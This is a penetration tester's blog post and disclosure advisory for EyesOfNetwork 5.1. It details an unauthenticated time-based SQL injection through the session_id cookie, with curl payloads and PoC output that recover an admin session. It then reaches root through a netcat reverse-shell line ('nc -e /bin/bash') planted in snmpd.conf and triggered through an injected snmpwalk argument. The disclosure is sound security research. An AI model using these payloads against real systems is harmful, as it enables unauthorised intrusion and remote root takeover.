On a recent penetration test, I had to opportunity to test the security of an open-source supervision appliance called EyesOfNetwork. Multiple vulnerabilities have been found and will be reported in this post.

What is EyesOfNetwork?

From the official website:

EyesOfNetwork (“EON”) is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application. EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance. EyesOfNetwork Supervision provides event management, availability, problems and capacity.

Basically, it is a French supervision solution combining Nagios, Cacti as well as other tools with some of them being hand-made to create a complete appliance to monitor your infrastructure. The solution offers a web interface called Eonweb.


For the next tests, we will download the latest iso available on https://www.eyesofnetwork.com/. The version downloaded was EyesOfNetwork 5.1 and represented the latest version available of the software.

Most of the vulnerabilities found during the assessments and presented in this post have been identified on lower versions as well.

After a default install, if we launch nmap to scan TCP ports, here is the list of ports we find:

nmap -p- # The IP address chosen for EON is

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-xx xx:xx CEST
Nmap scan report for
Host is up (0.00037s latency).
Not shown: 65530 closed ports
22/tcp   open  ssh
80/tcp   open  http # Used by Eonweb (web interface)
443/tcp  open  https # Used by Eonweb (web interface)
2403/tcp open  taskmaster2000
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds

Our goal being a quick way into the system, we’ll search for the low hanging fruit by searching for web vulnerabilities on Eonweb. SSH being difficult to attack due to the possibility of an administrator to change the user accounts passwords at the iso installation and MySQL blocking non-localhost connections.

Quick and dirty: Unauthenticated SQL injection

No authentication bypass has been found even if SQL errors could be generated by logging in using a backslash character at the end of the username. A SQL injection has been found, however, inside the logout.php file, at line 28.

if(isset($_COOKIE["session_id"])) {
	sqlrequest($database_eonweb,"DELETE FROM sessions where session_id='$sessid'"); // Vulnerable

Obviously, we can control the session_id cookie because it is not set up inside a session and because of the fact the server doesn’t filter quotes by default.

The injection being inside a DELETE statement, we have two options: either we exploit it using a blind-based technique by setting up arbitrary sessions and checking which session get deleted (useful for example in the case of a privilege escalation exploit if we have an unprivileged account) or we could exploit it using a time-based attack.

From the point of view of an attacker, we’ll take the second option as we do not have credentials on the application.

rioru@zhsk:/tmp$ time curl -s -o /dev/null --insecure -b "session_id=' OR BENCHMARK(1,1)=1 -- -"

real	0m0,091s
user	0m0,064s
sys	0m0,012s
rioru@zhsk:/tmp$ time curl -s -o /dev/null --insecure -b "session_id=' OR BENCHMARK(100000000,1)=1 -- -"

real	0m1,778s # We can see there that the response time is considerably longer
user	0m0,068s
sys	0m0,008s

The function SLEEP is not always usable in a DELETE FROM statement, that’s why BENCHMARK has been used in this example. SLEEP is indeed usable only when a table is not empty, we’ll use SLEEP for our proof of concept as we will need to try to recover the sessions table anyway, but in the final exploit, we’ll have to handle the two possibilities.

What’s particularly interesting is the sessions’ creation:

	// Create session ID
sqlrequest($database_eonweb,"INSERT INTO sessions (session_id,user_id) VALUES ('$sessid','$usrid')");

The monitoring solution is creating their sessions using only rand() as the session_id, meaning that even if we are forced to do our exploitation via a time-based technique, the session_id could be found in under 11 or 12 seconds with a simple brute force character by character if we set-up a SLEEP time of 1 second.

What to keep in mind:

  • DELETE statements can’t do subqueries affecting their own table.
  • The target table doesn’t use a proper index column, this can lead to confusion when using substring with LIMIT, even when ORDER BY is used.

Here is the exploitation scenario:

  • Doing an initial request to get a value representing the lag between the target and our machine.
  • Delete all the non-admin (user_id != 1) sessions.
  • Getting the number of entries by doing OR sleep(1)=1. For each record, the server will sleep one second, by doing so we will able to either: delete <entries count> - 1 or sleep(1 / <entries count>) to avoid entries confusion and get a faster exploitation. We will choose the first option; the second has been proven to be unstable after some tests.
  • Delete all sessions but one.
  • Now that we have only one admin sessions in the table, it will be easy to recover it.

Proof of concept:

And here it is in action:

rioru@zhsk:~/perso$ python poc_eon_5.1.py
[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)
[+] The initial request time on is 0.020000, getting the number of entries, it could take a while...
[+] Found 379 entries in the [sessions] table, deleting every sessions except one
[+] Found an admin session length: 9, getting the session_id
[+] session_id:  3 5 3 8 9 8 3 2 7
[+] final session_id: [353898327]
[+] Username is [admin]
[+] End of the PoC use these cookies to authenticate to Eonweb:
session_id: 353898327;
user_name: admin;
user_id: 1;
user_limitation: 0;
group_id: 1;

Using these cookies in a browser or with curl, we are correctly authenticated on Eonweb with the admin account.

Authenticated on eonweb

From there, we can access all the monitoring tools available in EON (Nagios, Cacti, Thrunk, …).

Go for the kill: Privilege escalation using snmp

Now that we have access to the web interface, we will try to elevate our privileges searching for an RCE. I found a particularly interesting way to perform a root-privileged remote code execution on the appliance using SNMP.

Let’s see the privileges of the process running snmpd and its configuration:

[root@localhost ~]# ps aux | grep snmpd
root      8297  0.0  0.6 223424 12448 ?        Ss   mars27   1:29 /usr/sbin/snmpd -LS0-6d -f
root     24404  0.0  0.0 112648   968 pts/0    R+   06:16   0:00 grep --color=auto snmpd
[root@localhost snmp]# pwd
[root@localhost snmp]# ls -al
total 36
drwxr-xr-x.  2 root root    46 27 mars  14:07 .
drwxr-xr-x. 85 root root  8192 27 mars  12:14 ..
-rw-rw-rw-.  1 root root 18955 27 mars  14:07 snmpd.conf
-rw-rw-rw-.  1 root root   129 27 mars  14:07 snmptrapd.conf
[root@localhost snmp]# cat /etc/sudoers
# eonweb
apache ALL=NOPASSWD:/bin/systemctl * snmptt,/bin/systemctl * snmptrapd,/bin/systemctl * snmpd,/bin/systemctl * nagios,/bin/systemctl * gedd,/usr/bin/nmap

So, by default, anybody could edit the SNMP configuration, reload the server using sudo and the process will be run as root. Fortunately, we do not even need to find an RCE to perform these actions as they are available in the web interface Eonweb.

At /module/admin_process/ we are able to restart/reload the different processes in EyesOfNetwork:

Eonweb process management

And, even if I wasn’t able to find it in the interface, an administrator can edit directly the SNMP configuration file, going to /module/admin_files/?file=snmpconf.

Eonweb snmpconf

What’s so interesting about SNMP? It is possible to execute shell commands by setting a specific instruction inside it and call for the correct OID.

// snmpconf
exec rioru /bin/nc -e /bin/bash <reverse ip> <port>

Now we have to access the SNMPd service either with snmpwalk directly if 161/udp is open and do snmpwalk -v 1 <EON ip> -c <community> . or we could, once again, use the tools available in Eonweb to trigger the command execution, for example if there is a firewall present between EON and our machine blocking SNMP requests.

At /module/tool_all/, a snmpwalk tool is available, by default it is recovering all the MIB, but since the host is the last argument from the command line, we can set the host to <host> <OID> and get our connect-back.

Eonweb snmpwalk

And in our connect-back shell we previously set-up:

rioru@zhsk:~/perso$ nc -l -p 4444 -v
listening on [any] 4444 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 54388
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:snmpd_t:s0
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        inet6 fe80::70d7:a7c2:630f:681f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:dc:69:9a  txqueuelen 1000  (Ethernet)
        RX packets 664160  bytes 59288971 (56.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 185658  bytes 101831097 (97.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet  netmask
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 256506  bytes 31487186 (30.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 256506  bytes 31487186 (30.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Final privilege escalation scenario:

  • Edit the snmpconf via admin_files and search for the correct community
  • Reload the service via admin_process
  • Call the correct snmp OID either if SNMP is accessible or using tools from Eonweb in tool_all

Automating the attack

Now that we have all these elements, a complete scenario is possible:

  • Exploiting the Unauthenticated SQL Injection to recover either: sessions or accounts (password are stored in simple md5).
  • Authenticate on the application
  • Recover the SNMP community
  • Edit the snmpd config files to add a malicious command
  • Execute the command using snmpwalk (either remotely or locally using the tools available in eonweb)
  • We have our root-privileged execution :).


  • 01st February 2017 - Initial Discovery
  • 14th March 2017 - Public disclosure of an authenticated SQL injection and an RCE in Eonweb by Sysdream
  • 27th March 2017 - First contact with the vendor
  • 28th March 2017 - Created the proof of concept for the exploit
  • 28th March 2017 - CVE request to DWF
  • 29th March 2017 - Acknowledgement of the vendor
  • 07th May 2017 - Got assigned a CVE ID via DWF (CVE-2017-1000060)

Final Advisory

EyesOfNetwork (EON) 5.1 Unauthenticated SQL Injection in eonweb leading to remote root

Dany Bach [@ddxhunter, rioru.github.io]



Risk Information:
CVSS Base Score		10.0
CVSS Temporal Score	9.7
Overall CVSS Score	9.7

2017-02-01 - Initial Discovery
2017-03-14 - Public disclosure of an authenticated SQL injection and an RCE in Eonweb by Sysdream
2017-03-27 - First contact with the vendor
2017-03-28 - Created the proof of concept for the exploit
2017-03-28 - CVE request to DWF
2017-03-28 - Acknowledgement of the vendor
2017-05-03 - Got assigned a CVE ID via DWF (CVE-2017-1000060)


Affected Products:
EyesOfNetwork ("EON") 5.1 and older

Vendor Homepage:

By exploiting an unauthenticated SQL injection in Eonweb (logout.php), it is possible to gain remote root access to the server using a lack of proper permissions in SNMPd after an authentication using the sessions table.

Vulnerable file:
logout.php, Line 28
if(isset($_COOKIE["session_id"])) {
	sqlrequest($database_eonweb,"DELETE FROM sessions where session_id='$sessid'"); // Vulnerable

Proof of Concept:


Dany Bach

A generic security blog by a pentester.
Belgium, Paris and now Leeds